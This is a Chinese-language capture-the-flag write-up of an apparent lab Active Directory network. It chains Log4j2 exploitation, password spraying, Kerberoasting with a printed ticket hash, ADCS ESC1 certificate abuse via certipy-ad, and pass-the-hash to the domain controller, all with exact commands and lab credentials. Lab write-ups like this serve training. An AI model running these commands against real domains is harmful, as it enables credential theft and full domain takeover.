flag1
fscan扫一下, ./fscan -h 39.98.108.206 -p 0-65535
1 | 39.98.108.206:22 open |
发现了log4j2框架,可以打cve log4j2原理分析及漏洞复现- CVE-2021-44228 - FreeBuf网络安全行业门户
需要注意一点的就是java版本要改一下,我用的1.8,另外就是用到的几个端口都得去开放一下

没权限sudo grc提权拿到第一个flag
flag2
老2样弄上去,fscan扫下内网
1 | [*] NetInfo |
- 172.22.9.7 XIAORANG\XIAORANG-DC
- 172.22.9.19 拿下了
- 172.22.9.26 DESKTOP-CBKTVMO.xiaorang.lab
- 172.22.9.47 fileserver
然后这里47的机子是个文件服务器,可能开了SMB Client(客户端): 像是进店的顾客。它是用来连接、查看并操作远程共享资源的工具或组件。
于是我们无密码连接一下:
1 | proxychains4 impacket-smbclient 172.22.9.47 -no-pass |
然后使用对应的命令发现了第二个flag和一个数据库文件

并且提示了spn:简单来说,SPN 是服务在域内的“身份证号”。
flag3&flag4
这里我们看这个数据库,发现有账密,密码喷洒看看能登录哪台机器呗!

这个db文件可以直接在kali打开也可以放到navicat里面,主要是为了方便导出,导出之后要处理一下文件格式,这个问ai就好了
1 | proxychains4 netexec rdp 172.22.9.26 -u usernames.txt -p passwords.txt --continue-on-success > rdp_results.txt 2>&1 |
但是这两似乎没权限rdp,但是密码都在这了我们可以去请求ST票据,打Kerberoasting
简单来说,Kerberoasting 是一种专门针对 Windows 域环境的离线密码攻击技术。
它的核心逻辑非常“流氓”:任何一个合法的域用户,都可以向域控请求任意服务的票据,并尝试在自己的电脑上暴力破解这些票据,从而还原出服务账号的明文密码。
因为ST票据是请求的服务器的服务账号hash加密的,于是我们可以尝试去破解这个hash,这里不就和前面的spn联系起来了吗
1 | proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf |

得到两串hash
1 | $krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$2c381ee85ea38fba57f0b13d8bec4792$36ec4c8a84f332190a45b83d18aeb8389f138095424ace3d6b01b55355758bfb05297ac278c7141fb93655e743323c7ecf0bde480c0a5be41fbc86f21619af15f6b5a8eca85e8837566b966546e711c15f6cd8455462a1869c0ce1e4e202b623a2f32a644609208e1ea884df08f4e6acfbc204d99a56e5fb4e97a712e22d8697fc40d954926fd748640557deb840e882c4d51a5f32f65ccfbbc7e5965967ff36eb4428cd8fa2170c3c3f562ee2d295d209839e9b5dca904364bd8fbf926dbbf6553a89b9526f9b59f04033f6f5f9ba8d57bdbd323678f76791351181782cf032458ae6149566f0a181c6d5baf5f07a8868ac7318a560536c6570c8b5e2f76ee91f4ed8ef6c1cd1933f7b73b0fe28ce00f54350cad7cfb44691ae87f795f2bc324b599d8bd07ab77c8582cbe3943935f01daa6bbfa70911cc62c272f8376c131e6d884d2de4fe2e5406c528d762e4f7e9fbcc2cdc67485eb503ae68496e2f7fcfe7d4c1c7644b5530960f1551211f5092bf0489fbbdac052d86a6090da290816fba814779ffb55c86a5350264a9d06a974bccff4e1644ff28c20fb8d8cf171b555b1dbb4bccf49fe9f1404ed468818e718fae0192e298251c05e971a378179311fe4b64e6b4bab5634f2dbdb988841b7e73a58e5d4c0c06d3fe7b934c108a8f4f998657129de1207550b758060ba153bea5beb12fcabda755e2d1476cbe6b134cf5b8ed21dae1ad29c212b1a3eb04684c262eefd0105fa7a089416352fa92ae3036a21953b612157c425b325a3aa517e5aaace6082b1eae636a2c9ece677442af4139f52823f0fcb407998b43050c2b960122b17b872cae2c0e35114757d35c30af3485e2ce2ee94068f38aa4f00ec84b1955ae1c406fa5d8eb3353cb3c22f9921017b17dd55308e740ef832f2128c6de1486093cd8dc78ff8d8de360abea179fa5e5ddd17c2795e56f1236c426ed07b4c4e68f3f08999da95cacd7b1d109f7ebf01b2425b458286e22a6a15b2a39be0df801a7ff75527e665772e89404ce39779051c22601c346e31a5f3af465b2d965f04ccc3d276e8bb623bd985fb8d40bca206da38dcba4e5dad760d4a257b9e6da74dc868c61732063e31e8b5a6e33bb546df0991f8829c08fa0b8c9720151be5a0d2feaecfa10d6c2d6f0144698118824885c40f230d3b61c72449fdc745893046a022f0db19146964107af91917819bbce2ba9325ba8dead142e85b89e3883fd7197d3b563021989b134648e9de36eb9bfd34126f23061d2cd4077d400b7e436d0924dc981b72ef43c103d25cacb488ccf95ec1cb2cdac706f245248e985938d603806ef49dfe92262f9694f5f2a6890df3b96da19d4dc77e852563baaf52cc2ef1e4461af70288cae8df3c3fccb15eaf47cdde2a37271dbcaeac9de5fc1eb2337a813d1ee5f8b9a7959f0412d03b16f70420438e623a4dbef7fd6bb4a974e7b7a39f6a4eb1d2f6f84b57508790659e239f8bd69e99f1540dbcdf568a473 |
破解即可hash类型为13100
1 | hashcat -m 13100 -a 0 1 rockyou.txt --force |
1 | XIAORANG.LAB\zhangxia |
没想到这两就是服务账号,所以直接利用这个rdp成功了,但是没权限读不了flag,于是先用sharphound信息收集吧,我这里遇到了问题我用的都是旧版的,所以这里借用bao师傅的图

这里很明显就是打ADCS ESC1这个漏洞
该漏洞源于不当配置的证书模板,允许任何经过身份验证的用户(有操作 ADCSESC1 漏洞的权限)为其他用户(包括域管理员)申请证书。攻击者可以利用这个漏洞通过创建特定的证书来获取TGT,从而实现权限提升。利用过程包括检测漏洞存在性、创建证书、转换格式以及使用Rubeus等工具请求TGT和执行DCSync操作。
核心逻辑就是利用配置不当的模板,“合情合理”地通过 AD CS 申请出一张属于“域管理员”的身份证(证书)。然后再去请求TGT票据,通常我们通过 AS-REQ 请求 TGT 时需要用户 Hash。但当引入 ADCS 证书服务后,Windows 支持一种名为 PKINIT,PKINIT 是 Kerberos 协议的一个扩展,它允许用户使用数字证书(公私钥对)而不是对称密钥(密码 Hash)来进行初始身份验证(Pre-Authentication)
攻击步骤:
查看证书模板:proxychains4 -q certipy-ad find -u ‘zhangxia@xiaorang.lab‘ -password ‘MyPass2@@6’ -dc-ip 172.22.9.7 -vulnerable -stdout
请求域管证书:proxychains certipy-ad req -u ‘zhangxia@xiaorang.lab‘ -p ‘MyPass2@@6’ -target 172.22.9.7 -dc-ip 172.22.9.7 -ca ‘xiaorang-XIAORANG-DC-CA’ -template ‘XR Manager’ -upn ‘administrator@xiaorang.lab‘
请求TGT:proxychains certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7

这里就可以返回管理员的hash,于是我们直接PTH即可
1 | proxychains4 impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7 -codec gbk |